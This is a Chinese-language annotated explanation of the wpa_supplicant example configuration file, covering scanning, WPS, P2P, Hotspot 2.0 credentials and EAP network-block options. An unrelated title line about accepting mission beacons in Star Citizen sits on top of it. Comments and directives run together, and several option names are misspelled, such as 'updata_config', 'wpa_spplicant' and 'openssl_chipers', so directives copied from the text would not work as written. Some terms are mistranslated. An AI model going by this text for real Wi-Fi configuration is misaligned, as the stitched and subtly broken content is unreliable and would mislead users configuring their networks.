星际公民怎么接任务信标怎么接


wpa_supplicant 配置文件的例子
这个配置文件描述的格式和列表都是可用的选项
请阅读“examples”子目录下简单的配置例子
空行和空字符以及以“#”开头的字符都会被忽略
注意:这个文件中可能包含密码信息并且在多用户系统中
只有root用户才生效
注意:为确保当wpa_supplicant运行在后台时,允许修改工作目录。
在这个配置文件中的文件路径应该为绝对路径
是否允许wpa_supplicant更新(覆盖)配置文件
这个选项允许修改配置后wpa_supplicant可以覆盖配置文件
(eg:通过wpa_cli加入新的网络语句块、wpa_gui写入配置、密码改变等情况)
这对于wpa_cli和wpa_gui能够永久地修改配置是必需的。
请注意允许更新配置时应将该处的注释“#”移除
#updata_config=1ctrl_interface=/var/run/wpa_spplicantIEEE 802.1X/EAPOL 版本
wpa_supplicant 的执行是基于 IEEE 802.1X-2004定义的EAPOL 第二版本 的标准。然而很多接入没有正确地遵循这一新版本号(他们似乎完全放弃了这一架构)。为了能让wpa_supplicant和和这些接入点进行交互操作,改版本号默认设置为1,以下的配置数字可以用于设置为新版本(2)。
注意:当使用MACsec,eapol_version 应该设置为3,定义在IEEE std802.1X-2010中
eapol_version=1接入点的扫描和选择
默认情况下,wpa_supplicant请求驱动程序执行接入点的扫描并使用扫描结果选择合适的接入点。另外一种选择是允许设备驱动兼顾接入点的扫描和选择并且使用wpa_supplicant只是运行基于IEEE 802.11 的EAPOL(extensible Authentication protol over Lan
基于局域网的可扩展认证协议)联系设备驱动的信息。
参数:0:wpa_supplicant启动扫描和接入点选择;如果和当前可找到可用的网络不匹配,一个新的网络(IBSS 或者AP 模式操作)可能会被启动(如果配置)(默认)
1:设备驱动兼顾扫描、接入点选择和IEEE 802.11 连接参数(eg:WPA IE 一代);这个模式也可以被用于使用IEEE 802.1X 模式的 non-WPA 设备驱动;不要试图和接入点取得联系(i.e.,外部程序需要控制连接)。这种模式同样必须在使用有限以太网时使用。
注意:macsec_qca 设备驱动是一个执行macsec 特征的以太网设备类型
2:和参数0类似,但是通过使用安全的规则和SSID(不能为BSSID)和接入点取得联系;这个参数可以用于,例如,使用增强型和NDIS(network driver interface
standard)的设备驱动来操作隐藏了的SSID和优化漫游;在这种模式下,在配置文件中的网络语句块将会一个个尝试连接直到设备驱动报告取得联系成功;每一个网络语句块应该有相对于密码管理(key_mgmt)、配对法(pairwide)、用户组(group)、协议变量(proto variables) 明确的安全规则(在列表中只能有一个安全规则选项)
注意:当ap_scan=2 不应该被用于使用nl80211 设备驱动接口中(当前linux的接口)。ap_scan=1 是工作在nl80211的优化工作。为了寻找隐藏了的网络,scan_ssid=1可以用于nl80211 的网络语句块中。
当使用IBSS 或者 AP 模式时,ap_scan=2模式可以在忽略扫描结果的情况下立刻建立一个新的网络。ap_scan=1 模式第一步将会试图扫描周围存在的网络。只有在无可匹配的网络情况下才会创建一个新的IBSS或者AP模式的网络。
ap_scan=1对等网络管理器的位置
默认情况下,wpa_supplicant为开放式的网络运行对等网络管理器(MPM)。然而,如此设备驱动可以执行MPM,为了使用设备驱动版本号,你可能需要将它设置为0。当AMPE( automated message processing exchange 自动信息交换程序)使能时,wpa_supplicant的MPM将会总是有用的。
0:MPM在设备驱动中被执行
1:wpa_supplicant 提供一个处理对等(默认)的MPM
user_mpm=1最大的匹配链路数量(0-255;默认为99)
当前网络维持的最大网络匹配数量
max_peer_link=99检测STA静止的超时时间(秒)(默认为300秒)
这个超时时间是用于STA网络清理不活动的站点。
mesh_max_inactivity=300cert_in_cb –时候在事件跳转过程中包含匹配证书。
这个选项控制是否在EAP匹配认证事件中包含服务器认证和认证链节的匹配认证。在默认情况下该选项是激活的。
cert_in_cb=1EAP(extensible Authentication protocol)快速重认证
默认情况下,快速重认证对于支持所有EAP模式的情况下是激活的。这个参数可以被用于取消快速重认证。一般情况下,没有必要取消它。
fast_reauth=1OpenSSL(安全套接字库)工具支持
这些选项可以被用于加载OpenSSL工具
目前支持的两个工具如下所示:
它们都是来自opensc 工程(http://www.opensc.org/)
默认情况下没有工具被加载.
//激活opensc工具
opensc_engine_path=/usr/lib/opensc/engine_opensc.so
//激活pkcs11工具
pkcs11_engine_path=/usr/lib/opensc/engine_pkcs11.so
//通过 pkcs11工具配置pkcs11模块请求路径
pkcs11_module_path=/usr/lib/pkcs11/opensc-pkcs11.soOpenSSL 密码字符串
这是配置OpenSSL默认密码的特定配置选项。如果没有设置,将会使用默认的“DEFAULT:!EXP:!LOW”。查看https://www.openssl.org/docs/apps/ciphers.html
OPenSSL关于密码配置套件的文档。只有在wpa_supplicant在建立是使用OpenSSL时才有效。
openssl_chipers=DEFAULT:!EXP:!LOW动态EAP方式
如果EAP建立动态共享对象文件,它们需要在使用网络语句块之前 在这里被加载。默认情况下,EAP方式在建立时是静态包含的,所以,这些选项是不必要的。
load_dynamic_eap=/usr/lib/wpa_supplicant/eap_tls.so
load_dynamic_eap=/usr/lib/wpa_supplicant/eap_md5.so设备驱动程序的接口参数
这个区域可以被用于配置随意的设备驱动接口参数。选择设备驱动接口的格式是指定的。在很多案例中这个区域是不起作用的。
driver_param="field=value"国家语言代码
当前设备驱动操作的国家语言代码
country=US//PMKSA最大的存活时间(秒);默认为43200
dot11RSNAConfigPMKLifetime=43200
//重认证的阈值(PMK存活时间的百分比);默认为70
dot11RSNAConfigPMKReauthThreshold=70
//安全关联协议的超时时间(秒);默认为60
dot11RSNAConfigSATimeout=60建立Wi-Fi保护参数
设备通用唯一的标识符(UUID;参照RFC 4122)
如果没有配置,UUID将会被设置为本地MAC地址
uuid=12345678-91bc-def0-1234-56789abcdef0//设备名称
//对设备使用友好的描述;UTF-8编码的32个字节
device_name=Wireless Client
//制造商
//设备的制造商(64个ASCII特征码)
manufacturer=Company
//型号
//设备型号(32个ASCII特征码)
model_name=cmodel
//型号编号
//额外的设备描述(32个ASCII特征码)
model_number=123
//序列号
//设备的序列号(32个ASCII特征码)
serial_number=12345设备的主要类型
使用:--的格式
categ:整型类型的数值
OUI =组织唯一标识符;四个八位字节的16进制编码数值;WPS OUT默认为0050F204
subcateg =OUI-特定的整型类型数值子类
例如:
# 1-0050F204-1 (Computer / PC)
# 1-0050F204-2 (Computer / Server)
# 5-0050F204-1 (Storage / NAS)
# 6-0050F204-1 (Network Infrastructure / AP)
device_type=1-0050F204-1操作系统版本
操作系统版本数字的四个八位字节(16进制字符串)
os_version=01020300配置方法
列表为所支持的配置方法
可行的方法:usba 以太网显示 ext_nfc_token int_nfc_token nfc_interface push_button keypad virtual_display physical_display virtual_push_button physical_push_button 标签
//对于 WSC 1.0
//配置方法=标签、显示、按钮、键盘
config_methods=label display push_button keypad
//对于 WSC 2.0
//配置方法=标签、虚拟显示、虚拟按钮、键盘
config_methods=label virtual_display virtual_push_button keypad认证进程
0=进程内部接受凭证(默认)
1=进程不接受凭证;只是通过在ctrl_iface上到外部程序
2=进程在内部接受凭证;只是通过在ctrl_iface上到外部程序
wps_cred_processing=0WPS M1 的属性,比如window7垂直兼容
属性内容被添加到M1中(16位进制字符串)
wps_vendor_ext_m1=000137100100020001WPS的令牌-NFC密码
这些参数可以被用于配置一个固定的站点NFC密码。这个可以通过某种方式产生,例如使用nfc_pw_token 。当这些参数被使用时,该站点假设已经包含匹配NFC密码部署。(例如:编写记录在nfc_pw_token中的NDEF)
wps_nfc_dev_pw_id: Device Password ID (16..65535)
wps_nfc_dh_pubkey: Hexdump of DH Public Key
wps_nfc_dh_privkey: Hexdump of DH Private Key
wps_nfc_dev_pw: Hexdump of Device Password通过添加WPS优先使用网络
这个优先值将会将会被设置到每个网络配置文件(执行WPS 协议时添加的)
wps_priority=0保存在记忆体中最大的BSS 实体数量
默认值为:200
这个选项可以被设置限制BSS 实体(扫描结果缓存)的内存使用。在使用ap_scan=1模式时在环境中可能需要一个比较大的值存储大量的接入点
bss_max_count=200自动扫描
这是一个设置自动扫描以下格式的接口的配置参数
autoscan=<自动扫描模块名称>:<模块参数>
自动扫描就像没有连接或者不活动的bgscan
例如指数模型上的参数将会为:
autoscan=exponential:3:300
以上选项表示每次扫描的延时是基于3的指数的延时时间
最大为300s(3,9,27,…..300).
对于周期性的模型,参数将会是<固定的整数>
#autoscan=periodic:30
以上参数表示30S一个周期自动扫描一次
SSID过滤-基于SSID扫描结果过滤
0 表示对扫描结果不过滤(默认)
1 表示从扫描结果中或者扫描结果缓存表中过滤出配置文件中的SSID
filter_ssids=0外部存储后端的密码(密码口令,等等)
格式:<后端名称>[:<后端参数选项>]
ext_password_backend=test:pw1=password|pw2=testing取消P2P功能
p2p_disabled=1移除不活动的STA的超时时间(默认为300S)
该超时时间值用于在P2P GO 模式下清除不活动的站点
p2p_go_max_inactivity=300P2P GO 密码长度(8-63)
这个参数控制在GO 生成的随机密码的长度。(默认为8)
p2p_passphrase_len=8并行进行P2P迭代搜索的额外延时时间
这个值增加额外的延时(ms)让p2p_find友好地并行操作,从而避免无线点占用100%的资源。该值默认为500ms
p2p_search_delay=500机会性密匙缓存(已称为主动型密匙缓存)(默认设置)
这个参数可以用于设置默认的proactive_key_caching参数行为。默认情况下,OKC是无效的除非使能全局变量okc=1 或者每个网络中proactive_key_cachng=1。如若okc=1,OKC默认是有效的,不允许每个网络中的proactive_key_caching=0
okc=0默认的保护管理架构
这个参数可以用于设置ieee80211w 参数的默认行为。默认情况下,PMF无效除非全局变量pmf=1/2,或者每个网络中都配置ieee80211w=1/2 这个参数。当pmf=1/2 时PMF 默认是有效的和可被请求的。在每个网络中也可以使用ieee80211w 参数设置为失效。
pmf=0启用SAE有限循环群优先顺序
默认情况下(该参数没有设置)组19(组 ECC定义在超过256位的基本指令领域)是首选的选项,其他组也是激活的。如果该参数被设置,改组将会尝试控制命令。改组的值在IANA注册表中列出
sae_groups=21 20 19 26 25//DTIM周期的默认值(如果没有在网络语句块中被重写)
dtim_period=2
//信标间隔的默认值(如果没有在网络语句块中被重写)
beacon_int=100信标和探测响应帧的基本属性
该参数可以被用于增加另外的基本属性到信标和探测响应帧的末尾。这些属性的格式是一个十六位进制转储的原始信息元素(一个或多个元素的 id+len+payload),这用于AP 和 P2P GO 模式下。
ap_vendor_elements=dd0411223301忽略请求扫描结果命令
当我们触发扫描命令时,设备驱动可能有扫描结果的返回信息,这个参数可以用于配置类似于被忽略旧的信息而不是更新内部BSS 表格。
ignore_old_scan_res=0mac_addr=0随机MAC地址的存活时间(秒)(默认为60s)
rand_addr_lifetime=60每个关联操作的MAC地址规则(scanning(扫描)、ANQP(接入网络查询协议))
0=使用永久MAC地址
1=使用随机的MAC地址
2=类似于1,但是使用保持的MAC 地址(当地管理位集)
preassoc_mac_addr=0Interworking (IEEE 802.11u)
激活Interworking
interworking=1纯质的ESS标志符
如果这个被设置,扫描将会用于回应只属于特定的Homogeneous ESS的请求,这个只用于interworking激活的情形。
hessid=00:11:22:33:44:55自动选择网络的行为
0=不自动通过互联网选择
1=执行互联网网络选择当一个或者多个认证已经配置和没有扫描到匹配的网络语句块
auto_interworking=0认证块
用于自动网络选择的每个认证将会构造为一组参数,当使用interworking_select and interworking_connect命令时,将会和APs发布的信息比较
凭证字段:
暂时的(temporary):认证是否是暂时的并且不被保存
优先级(priority):优先级组
默认情况下,所有的网络和认证都将获取同等的优先级组(0)这个字段可以被用于认证的更高优先级(和网络语句块中的结构体wpa_ssid很类似),这样可以改变自动选择网络的行为。拥有更高优先级的匹配的网络(要么基于激活的网络语句块要么是认证凭证)将会被选择。
pcsc:使用PC / SC和SIM/ USIM卡
realm(领域):家庭领域的互联网
username(用户名):互联网网络选择的用户名
password(密码):互联网网络选择的密码
ca_cert:互联网选择的CA认证
client_cert:客户端认证文件的路径(PEM/DER)
以上字段适用于在客户端用认证/密匙来认证(EAP-TLS)的网络自动选择。文件的路径应该为绝对路径(wpa_supplicant运行于后台时可能会改变工作路径)。另外一个blob的配置可以将此设置为blob://blob_name
私人密匙:私人密匙(PEM/DER/PFX)的文件路径当使用PKCS#12/PFX文件时(.p12/.pfx),client_cert 应该被注释掉。这种情况下私人密匙和认证凭证将会从PKCS#12文件中读出。完整的路径需要为绝对工作路径(wpa_supplicant运行于后台时可能会改变工作路径)
通过从客户端认证中退出,windows下的认证储存可以被使用,并且私人密匙可以通过以下格式配置:cert://substring_to_matchhash://certificate_thumbprint_in_hex
举个例子:private_key=”hash://63093aa9c47f56ae88334c7b65a4”注意当将wpa_supplicant作为应用运行时,用户认证储存区(自己的用户账户)将被使用。而当运行wpasvc作为服务端时计算机储存区(计算机账户)将被使用。另外,一个blob的配置可以将此设置为blob://blob_name
private_key_passwd: 私人密匙的密码文件
imsi: IMSI in
‘-’
format
milenage: Milenage parameters for SIM/USIM simulator in :: format
domain: Home service provider国内服务提供商 FQDN(s)以上选项将被用于比较域服务商名称列表从而计算出是否该AP是在家用SP下操作。多域接入点可以被用于配置被认为家庭网络的非传统FQDNS
roaming_consortium:(漫游联合体)Roaming Consortium OI如果roaming_consortium_len非空,这个字段包含可以决定哪个接入点支持凭证认证的漫游联合体。这是非传统的领域参数的用法。当使用漫游联合体匹配网络时,因为NAI域的信息可能不可用或者牵强,EAP参数需要使用凭证预配置。
eap:EAP预编译的方法这个字段可以用来指定哪个EAP方法使用这个凭证。如若没有设置,EAP方法设置为自动基于ANQP信息(eg:NAI Realm).
phase1:预编译阶段1(外部认证)参数,这个字段设置和‘eap’参数类似
phase2:预编译阶段2(内部认证)参数,这个字段设置和‘eap’参数类似
excluded_ssid: 过滤SSID这个选线字段可以用于从配置网络中过滤指定的SSID(S),多选项可以增加更多SSID
roaming_partner:漫游合作伙伴的信息这个字段选项可以用于配置和漫游伙伴的首选项。该配置字段使用以下格式:,<0/1 exact match>,,<* or country code>non-exact 表示任何子域都可以匹配该接入口;priority是设置更高优先级,范围在0-255
update_identifier:更新标识符(PPS MO ID)(Hotspot 2.0 PerProviderSubscription/UpdateIdentifier)
provisioning_sp:服务提供商FQDN提供的凭证这个字段选项可以用于跟踪服务提供商SP提供的凭证并且寻找PPS MO(./Wi-Fi/).
最大的回程链路的阈值(PPS/
min_dl_bandwidth_home
min_ul_bandwidth_home
min_dl_bandwidth_roaming
min_ul_bandwidth_roamingmax_bss_load:BBS(扫描结果缓存表)的最大通道负荷(1-255)(PPS/
req_conn_capab=6,22,80,443
For example, IPSec/IKE:
req_conn_capab=17:500
req_conn_capab=50
下面对语句块举例子:
cred={
realm="example.com"
username="user@example.com"
password="password"
ca_cert="/etc/wpa_supplicant/ca.pem"
domain="example.com"
}cred={
imsi="310026-000000000"
milenage="90dca4eda45b53cf0f12d7c9c3bc6a89:cb9cccc4b9258e6dca4760379fb82"
}cred={
realm="example.com"
username="user"
password="password"
ca_cert="/etc/wpa_supplicant/ca.pem"
domain="example.com"
roaming_consortium=223344
eap=TTLS
phase2="auth=MSCHAPV2"
}Hotspot 2.0(热点2.0)hs20=1
网络语句块
在配置文件中,每个网络(通常是AP 的共享SSID)被视为独立的模块来配置
该网络语句块是有优先配置顺序的(第一次匹配)。
-网络语句块字段:
disabled:0=该网络可以被使用(默认)1=该网络语句块是失效的(可以通过ctrl_iface激活 eg:使用wpa_cli或者wpa_gui)
id_str:外部脚本的网络标识字符。通过wpa_cli外部执行脚本将WPA_ID_STR作为环境变量,使得配置特定网络变得更加容易。
ssid:SSID(必须的);一种如下格式的网络名称:引用双精度的ASCII字符一个十六进制的字符串(SSID每个字节的两个字符)打印的字符:字符串
scan_ssid:0=不扫描这个通过特定的探测请求帧得到的SSID(默认)1=扫描通过特定探测请求帧得到的SSID(这个可以用于寻找不接受广播的APs或者使用多SSIDs ;这个将会增加扫描延时时间,所以在有必要时才激活此选项)
bssid:BSSID(不必要的、可选择的);如果设置了的话,这个网络语句块将被用于使用BSSID配置文件和APs取得关联。
priority: 优先级组 (整数)
默认情况下,所有网络将会获得相同的优先级组(0),如果有一些更加可取的网络,这个字段可以被用于改变wpa_supplicant在BSS中选择网络时的顺序。这个优先级组将会迭代减少优先级(i.e,优先级数值越大,就越早在扫描结果中得到匹配),对于相同的优先级组,将会根据安全规则、信号强度等来作为选择的依据。
请注意在scan_ssid=1 和 ap_scan=2 模式下AP的扫描不能够使用这个优先级组去选择扫描顺序。相反的他们尝试使用配置文件中的网络顺序。
mode: IEEE 802.11操作模式
0 = 基础架构模式(管理模式),i.e,和AP取得关联(默认)
1 = IBSS(自组网、点对点)
2 = AP (接入点)
注意:IBSS只能在key_mgmt NONE(明码文本和静态WEP)和WPA-PSK(proto = RSN)下使用。另外,key_mgmt=WPA-NONE(固定的TKIP/CCMP密码组)也是向后兼容的,但是这种用法是过时的。WPA-None 需要以下的网络语句块选项:
proto=WPA, key_mgmt=WPA-NONE, pairwise=NONE, group=TKIP(or CCMP,两个不能同时存在),并且密码必须也得到设置。
frequency:IBSS的通道频率(MHZ),例如:2412=IEEE 802.11b/g 是通道一的频率。这个值被用于配置IBSS(adhoc自组网)的初始化通道。在基础架构模式下它将会被忽略。另外,这个值只用于创建IBSS站点。如果一个配置了SSID的IBSS网络已经存在,其网络的频率值将会被用于替代这里的配置数值。
scan_freq:扫描频率的列表
当扫描BSS时使用空间分离的频率表(MHZ)扫描。如果该网络的通道设置是已知的,该选项可以被用于优化扫描行为,避免扫描网络没有用到的通道
Example: scan_freq=2412 2437 2462
freq_list:获得许可频率的数组
允许选择BBS的空间分离的频率表。如果设置了的话,当选择一个BSS时,扫描结果将考虑匹配任何特定的频率的网络。
这个选项也可以被设置到网络语句块外面。在这种情形下,它将限制特定的频率被扫描。
bgscan:后台扫描
通过设置为bgscan模块,wpa_supplicant可以被配置后台扫描行为。为了漫游在ESS下,这些模块要求在后台运行扫描(i.e,即在所有AP的单一个网络语句块中使用相同的SSID)。这个bgscan参数可以使用以下格式:”:”
以下bgscan模块是可用的:
简单型:根据信号强度周期性地进行后台扫描
bgscan=”simple:::”
bgscan=”simple:30:-45:300”
学习型:通过网络学习使用的通道,避免bgscan扫描其他通道(实验型)。
bgscan=”learn:::[:]”
bgscan=”learn:30:-45:300:/etc/wpa_supplicant/network1.bgscan”
另外可通过以下命令取消bgscan:
bgscan=”“
这个选项也可以全局设置,应用于没有指定特定的bgscan参数。
proto:公认的协议列表
WPA=WPA/IEEE 802.11i/D3.0
RSN = WPA2/IEEE 802.11i (可以使用WPA2作为RSN的别名)
如果没有设置将会默认使用WPA RSN
key_mgmt:公认的认证密钥管理协议列表
WPA-PSK = WPA 预共享密匙 (这需要‘psk’字段)
WPA-EAP = WPA 使用 EAP 认证
EEE8021X =IEEE 802.1X 使用EAP 认证并动态生成密匙
NONE = 没有使用 WPA ;可以使用明码密匙或者静态WEP
WPA-PSK-SHA256 = 类似 WPA-PSK 但是使用增强型的SHA256-based加密算法
WPA-EAP-SHA256 = 类似 WPA-EAP 但是使用增强型的SHA256-based加密算法
如果没有设置,将会模式设置为 WPA-PSK WPA-EAP
ieee80211w:是否激活包含管理机制
0 = 取消(默认设置,除非通过和全局pmf参数改变)
1 = 可选择的
2 = 必要的
更多通用的配置选项基于PMF(包含管理机制protected management frames)认证程序:
PMF enabled: ieee80211w=1 and key_mgmt=WPA-EAP WPA-EAP-SHA256
PMF required: ieee80211w=2 and key_mgmt=WPA-EAP-SHA256
(当使用WPA2-Personal时WPA-PSK and WPA-WPSK-SHA256也是类似配置)
auth_alg:允许的IEEE 802.11 认证算法列表
OPEN = 开放性系统认证(WPA/WPA2的必要选项)
SHARED = 共享密匙认证(静态WEP密码的必要选项)
LEAP = LEAP/Network EAP(只在LEAP中使用)
如果没有设置,将使用自动选择(如果LEAP允许作为一种EAP方法,LEAP开放系统将会被激活)
pairwise : WPA点对点(单播)支持的密码表格
CCMP = AES 的CBC-MAC计数模式 [RFC 3610, IEEE 802.11i/D7.0]
TKIP = 临时密钥完整性协议 [IEEE 802.11i/D7.0]
NONE = 只使用组密码 (不赞成使用,当APs 支持成对密匙是将不被包含)
如果没有设置,将默认设置为: CCMP TKIP
group:组(广播/组播)支持的密码列表
CCMP = AES 的CBC-MAC计数模式 [RFC 3610, IEEE 802.11i/D7.0]
TKIP = 临时密钥完整性协议 [IEEE 802.11i/D7.0]
WEP104 =104位 WEP(Wired Equivalent Privacy有效对等密匙)
WEP40 = 40位 WEP(Wired Equivalent Privacy有效对等密匙)[IEEE 802.11]
如果没有设置,将会默认设置为: CCMP TKIP WEP104 WEP40
psk: WPA预共享密码;256位预共享密码
* eapol_flags: IEEE 802.1X/EAPOL 选项(bit field位字段)*
在non-WPA模式下的动态WEP 密码
bit0 (1):要求动态生成单播的WEP密钥
bit1 (2):要求动态生成广播WEP密钥
(3=要求两种类型的WEP密钥;默认设置)
注意:当使用无线认证时(包括macsec_qca设备驱动),为了能够完整地认证,需要将eapol_flags设置为0
macsec_policy:EEE 802.1X/MACsec options选项
这决定了MACsec使用何种回话担保。这个目前只用于使用macsec_qca 设备驱动接口时。
0 = 不使用MACsec(默认)
1 = 激活MACsec-必须是安全的,接受密码服务器的通知来决定是否使用一个安全会话与否
mixed_cell : 这个选项可以被用于配置是否为所谓的混杂单元,即一个同样的SSID 网络使用明码和加密密匙
0 = 取消(默认)
1 = 激活
proactive_key_caching:
激活/取消WPA2的PMKSA随机缓存
0 = 取消(默认设置,除非使用全局参数okc来改变)
1 = 激活
wep_key0..3:静态WEP密码(双精度ASCII引用,比如“abcd”;或者没有引用的十六进制数,比如“012345678”)
wep_tx_keyidx: Default WEP key index (TX) (0..3)
peerkey:是否允许直接连接的peerkey协议(IEEE 802.11e DLS),这个只用于 RSN/WPA2
0 = 取消(默认)
1 = 激活
peerkey=1
wpa_ptk_rekey:PTK最大的存活时间(秒),这个选项可以被用于配置执行PTK密匙更新来缓解因为TKIP缺陷而受到的攻击
以下字段值用于内部EAP实施。- eap:可接受的空间分离的EAP方法列表- MD5 = EAP-MD5(不安全和不生成原密码。不能用于WPA;在使用方法EAP-PEAP or EAP-TTLS中的第二阶段使用)- MSCHAPV2 = EAP-MSCHAPv2 (不能单独使用WPA;在使用方法EAP-PEAP or EAP-TTLS中的第二阶段中使用)- OTP = EAP-OTP () (不能单独使用WPA;在使用方法EAP-PEAP or EAP-TTLS中的第二阶段中使用)- GTC = EAP-GTC (不能单独使用WPA;在使用方法EAP-PEAP or EAP-TTLS中的第二阶段中使用)- TLS = EAP-TLS(客户端和服务端的认证)- PEAP = EAP-PEAP(EAP认证隧道)- TTLS = EAP-TTLS (EAP认证隧道或者PAP/CHAP/MSCHAP/MSCHAPV2认证)- 如果没有设置,所有编译的方法都被允许
identity:EAP的字符标识符
这个字段同样被用于配置使用EAP-PSK/PAX/SAKE/GPSK的NAI
anonymous_identity : EAP的匿名标识符字符串(被用于支持不同的标识符隧道的非加密EAP类型的标识符,比如,EAP-TTLS)。这个字段也可以被用于EAP-SIM/AKA/AKA’保存匿名标识符password: EAP的密码字符串。这个字段既可以包含纯文本密码字符串(使用ASCII或者十六进制字符串)也可以一个使用hash:<32 hex digits>格式的NtPasswordHash(16字节MD4 哈希密码)
NtPasswordHash只能用于MSCHAPv2 或者 MSCHAP(EAP-MSCHAPv2, EAP-TTLS/MSCHAPv2, EAP-TTLS/MSCHAP, LEAP);EAP-PSK (128-bit PSK), EAP-PAX (128-bit PSK), 和EAP-SAKE (256-bit PSK) 也可以使用该字段得到配置。
对于EAP-GPSK这是一个正确的psk长度。拓展:格式可以被用于表示密码储存在外部存储器中。ca_cert:CA 的认证文件(PEM/DER)的路径
这个字段有一个或者多个的受信任的CA认证。 如果ca_cert 和 ca_path都没有包含文件路径,认证服务将不会验证。这是不安全的,并且当使用EAP-TLS/TTLS/PEAP时一个受信任的CA认证总是被配置。完整的路径应该为绝对路径(wpa_supplicant可能在后天运行时改变工作路径)。
另外,这个字段可以被用于只执行服务器认证的匹配任务(SHA-256 hash of the DER encoded X.509 certificate),在这种情况下,服务器认证中CA认证可能被忽略,并且只验证服务器认证。这个可以通过以下格式来配置:hash:://server/sha256/cert_hash_in_hex
例如:”hash://server/sha256/5a1bc1296205e6fdbe3979728efe3920798885c1c4590b5f90f43222d239ca6a”
在window操作系统下,受信任的CA认证可以通过设置cert_store://从系统认证储存器中加载,例如:ca_cert=”cert_store://CA” or ca_cert=”cert_store://ROOT”.
注意当将wpa_supplicant作为应用程序运行时,用户(当前账户)认证储存器将是可用的,当运行wpasvc作为服务器时,计算器(计算机账户)储存器将是可用的。* ca_path : CA认证文件(PEM)的目录路径。*
这个路径可能包含OpenSSL格式的多CA认证。这种常见的使用方法是指系统那些安装在/etc/ssl/certs路径下的可信任的CA认证列表,如果配置了的话,这些认证将会被添加到可信任CAs列表中, ca_cert可能也包含在这种案例中,但它不是必须的。
client_cert : 客户端认证文件的路径(PEM/DER)
完整的路径应该为文件的绝对路径(因为wpa_supplicant运行在后台时可能会改变工作路径)
另外,名为blob的配置也可以被用来设置blob://.private_key : 客户端私人密匙文件路径(PEM/DER/PFX)
当使用 PKCS#12/PFX 文件 (.p12/.pfx), client_cert应该被注释掉。这种情况下私人密匙和认证将会从PKCS#12文件中读出。完整的路径应该为文件的绝对路径(因为wpa_supplicant运行在后台时可能会改变工作路径)
当client_cert退出时并且配置私人密匙如以下格式时,windows 认证储存器可以被使用
cert://substring_to_match
hash://certificate_thumbprint_in_hex
例如 private_key=”hash://63093aa9c47f56ae88334c7b65a4”
注意:当wpa_supplicant作为应用程序运行时,用户(当前账户)认证储存器将是可用的,当运行wpasvc作为服务器时,计算器(计算机账户)储存器将是可用的。
另外,名为blob的配置也可以被用来设置blob://.* private_key_passwd : 私人密匙文件的密码(如果遗漏,将会在控制界面中询问)** dh_file: DH/DSA参数文件的路径(PEM 格式)*
这个选项配置设置一个短暂的DH密码交换参数的文件。在大多数情况下,默认的RSA认证将不会在这种情况下使用。然而,使用短暂的DH密码交换可能会建立RSA认证。另外,DSA 密码算法总是使用短暂性DH密匙,这个选线可以用于实现保密。如果这个文件使用了DAS参数格式,它将会自动转化为DH参数subject_match: 子类字符串是针对认证服务器证书来匹配
如果这个字符串设置了的话,服务器证书只有在这个实体上包含了这个字符串才的情况下才能被接受。
该实体字符串使用以下格式配置:
/C=US/ST=CA/L=San Francisco/CN=Test AS/emailAddress=as@example.com
注意:因为这是一个子类字符串匹配,对于可能的一种中文实体域名情况下将不能安全地进行后缀匹配。对于这种应用案例,应该使用domain_suffix_match 或者 domain_match来替代。altsubject_match : 分号分隔符将会和选择服务器认证证书实体名称相匹配
如果该字符被设置了的话,如果服务器认证包含了一个扩展的选择项目名称实体,该认证才能被接受。
altSubjectName字符串的格式:TYPE:VALUE
Example: EMAIL:server@example.com
Example: DNS:server.example.com;DNS:server2.example.com
支持的格式为:EMAIL, DNS, URI
domain_suffix_match:域名服务器名称的规则
如果设置了的话,在SubjectAltName dNSName的AAAserver认证请求FQDN后缀匹配。如果匹配了一个找到DNS名称,约束条件将会被满足。如果没有DNS名称的值存在,这个约束条件是使用相同的后缀匹配比较来匹配中文实体名。
这里的后缀匹配表示逐一从顶级域名开始并且domain_suffix_match的所有标签应该包含在认证证书中和一个标签比较主机/域名。除了必要的标签外,认证证书可能包含额外的字级标签。
例如,domain_suffix_match=example.com 将会匹配test.example.com,但它将不会匹配test-example.com。domain_match:域名服务器的约束条件
如果设置了的话,FQDN将会被用做一个要求完全匹配服务器认证证书中SubjectAltName 域名元素。如果一个匹配的域名被找到,这个约束条件将被满足。如果不存在域名名称值,这个约束就是在SubjectName CN中文 同样的完全匹配来比较
得匹配。这种行为就和domain_suffix_match类似,但是有一个完全匹配是必须的,即不允许子域名和通配符匹配。使用不区分大小的比较,因此”Example.com” 可以匹配 “example.com”,但是将不会匹配 “test.Example.com”.
phase1 : 阶段一(外部认证:即TLS隧道)参数(成对的字段字符,比如:”peapver=0” 或者”peapver=1 peaplabel=1”)
‘peapver’可以被用于强制使用哪个版本的PEAP(0或者1)。
‘peaplabel=1’可以被用于在使用PEAPv1或者更新版本时导出密码的期间强制使用新的标签 “client PEAP encryption”,一些扩展的PEAPv1的实施还使用旧的标签”client EAP encryption”,现在wpa_supplicant已经使用”client EAP
encryption”作为默认的值。一些服务器,比如辐射器可能需要强制配置peaplabel=1 来和PEAPv1进行交互操作;查看文件eap_testing.txt 得到更多相关信息。
‘peap_outer_success=0’ 可以被用于终止EAP-Success 隧道的PEAP认证。这在一些执行 draft-josefsson-pppext-eap-tls-eap-05.txt(比如Lucent NavisRadius v4.4.0 with PEAP in “IETF Draft 5” mode模式)RADIUS服务器上。
include_tls_length=1可以被用于强制使wpa_supplicant 在所有没有碎片化的TLS管理事件中包含TLS 管理长度字段。
sim_min_num_chal=3 可以被用于配置EAP-SIM请求三个口令(默认情况下,它只接受到2个或者3个)
result_ind=1可以被用于使能EAP-SIM和EAP-AKA来指示保护结果。
‘crypto_binding’ 该选项可以被用于控制PEAPv0加密绑定行为:
0 =不适用加密绑定(默认)
1 =当服务器支持时使用加密绑定
2 = 请求加密绑定
EAP-WSC (WPS)使用以下选项的格式:pin= or pbc=1.
对于无线IEEE 802.1X加密认证,”allow_canned_success=1”可以被用于配置允许EAP-Success (and EAP-Failure)不经历认证步骤的模式。一些交换机当强制端口被授权/不被授权或者认证服务器遥不可及是的一种备用选项才使用这种配置序列。
默认情况下,wap_supplicant丢弃这种免收流氓设备的潜在攻击的保护机制,但这个选项可以被用于取消在服务器/认证器不需要被认证的保护案例。
phase2 : 阶段二(TLS隧道的内部认证)参数(string with field-value pairs, e.g., “auth=MSCHAPV2” for EAP-PEAP or”autheap=MSCHAPV2 autheap=MD5” for EAP-TTLS)
“mschapv2_retry=0” 可以被用于取消 MSCHAPv2 在认证失败后重试密码。
TLS-based 方法可以用以下参数来控制TLS行为(这个通常是下第一阶段的参数,但是也可以当EAP-TLS在内部隧道使用时 被用在第二阶段)
